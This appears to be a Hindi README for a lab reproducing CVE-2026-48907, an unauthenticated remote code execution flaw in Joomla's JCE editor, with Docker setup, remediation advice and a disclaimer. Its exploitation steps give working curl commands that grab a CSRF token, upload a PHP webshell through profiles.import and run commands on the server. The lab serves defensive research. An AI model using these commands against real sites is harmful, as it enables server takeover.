CVE-2026-48907 — Joomla JCE बिना प्रमाणीकरण RCE लैब

PSsec CVE-2026-48907 के लिए शैक्षिक सुरक्षा अनुसंधान लैब।

अवलोकन

CVE-2026-48907 एक गंभीर (CVSS 10.0) बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता है, जो JCE (Joomla Content Editor) में है, जो Joomla के लिए सबसे व्यापक रूप से स्थापित संपादक एक्सटेंशन है, और सभी संस्करणों ≤ 2.9.99.4 को प्रभावित करती है।

profiles.import एंडपॉइंट बिना किसी प्रमाणीकरण के फ़ाइल अपलोड स्वीकार करता है। एक हमलावर XML प्रोफ़ाइल के रूप में छिपी हुई दुर्भावनापूर्ण PHP फ़ाइल अपलोड कर सकता है, जो सर्वर की tmp/ निर्देशिका में लिखी जाती है और HTTP के माध्यम से सीधे निष्पादित होती है — कोई क्रेडेंशियल आवश्यक नहीं है।

लैब सेटअप

पूर्वापेक्षाएँ

• Docker + Docker Compose
• Kali Linux (या कोई भी Linux होस्ट)

1. असुरक्षित वातावरण प्रारंभ करें

docker compose up -d

2. Joomla इंस्टॉलर पूरा करें

अपने ब्राउज़र में http://localhost:8080 खोलें और इन क्रेडेंशियल्स का उपयोग करके सेटअप विज़ार्ड पूरा करें:

3. असुरक्षित JCE एक्सटेंशन इंस्टॉल करें

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

फिर Joomla Admin में System → Extensions → Install → ZIP अपलोड करें।

शोषण

4. CSRF टोकन और सत्र कुकी निकालें

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. बिना प्रमाणीकरण प्रोफ़ाइल आयात के माध्यम से PHP वेबशेल अपलोड करें

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. रिमोट कोड निष्पादन सत्यापित करें

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

अपेक्षित आउटपुट: uid=33(www-data) gid=33(www-data)

फ़ाइलें

सुधार

JCE को तुरंत संस्करण 2.9.99.5 या बाद के संस्करण में अपडेट करें।

पुराने Joomla संस्करणों के लिए आधिकारिक विक्रेता सलाह और निःशुल्क पैच: JCE Security Update — joomlacontenteditor.net

श्रेय

• एक्सप्लॉइट टूलिंग संदर्भ: JoomlaSniper by ynsmroztas
• भेद्यता mySites.guru के Phil Taylor द्वारा वास्तविक दुनिया में खोजी गई।
• CISA KEV सूची: 16 जून, 2026

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है।

परीक्षण केवल उन प्रणालियों पर किया जाना चाहिए जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। उन प्रणालियों के विरुद्ध इस सामग्री का अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं, अवैध और अनैतिक है। लेखक और Pansophical OU इस सामग्री के दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं।

यह लैब वातावरण जानबूझकर असुरक्षित है। इसे इंटरनेट या किसी भी अविश्वसनीय नेटवर्क पर एक्सपोज़ न करें।

PSsec द्वारा